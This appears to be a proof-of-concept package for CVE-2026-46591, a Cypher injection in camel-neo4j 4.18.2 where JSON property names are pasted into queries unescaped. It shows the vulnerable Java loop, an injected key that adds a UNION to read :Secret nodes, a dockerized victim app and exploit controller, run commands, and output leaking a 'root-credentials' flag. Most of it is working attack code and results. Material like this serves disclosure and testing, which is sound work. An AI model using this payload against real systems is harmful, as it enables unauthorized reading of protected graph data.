// Neo4jProducer.retrieveNodes (affected 4.18.2) — the VALUE is a parameter, the NAME is concatenated verbatim:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
    if (paramIndex > 0) whereClause.append(" AND ");
    String paramName = "param" + paramIndex;
    whereClause.append(alias).append(".").append(entry.getKey())   // <-- entry.getKey() (the JSON key) unescaped
               .append(" = $").append(paramName);
    queryParams.put(paramName, entry.getValue());                  // value is safely bound
    paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);

key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //

MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node

from("platform-http:/lookup")
    .convertBodyTo(String.class)
    .setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
    .setHeader(Neo4jHeaders.MATCH_PROPERTIES, body())        // untrusted JSON body becomes the match map
    .to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");

CVE-2026-46591/
├── pom.xml                 # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml      # neo4j 5.26 + the app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Neo4jSettings.java     # host / bolt / creds / secret flag
    │   ├── Neo4jConfig.java       # the Neo4j Driver bean (referenced as #neo4jDriver)
    │   ├── Neo4jSeeder.java       # waits for Neo4j, seeds :Person + :Secret nodes
    │   ├── VictimRoute.java       # platform-http:/lookup -> neo4j RETRIEVE_NODES
    │   └── ExploitController.java # attacker: legit vs Cypher-in-the-JSON-key
    └── resources/
        └── application.properties

mvn clean package -DskipTests
docker compose up -d --build           # first start pulls the ~1GB neo4j image
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

=== 1) Legitimate lookup  body={"name":"alice"} ===
  [{name=alice, role=user}]
  secret leaked: false

=== 2) Injected lookup  (Cypher in the JSON key) ===
  key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
  [{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
  secret leaked: true

>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true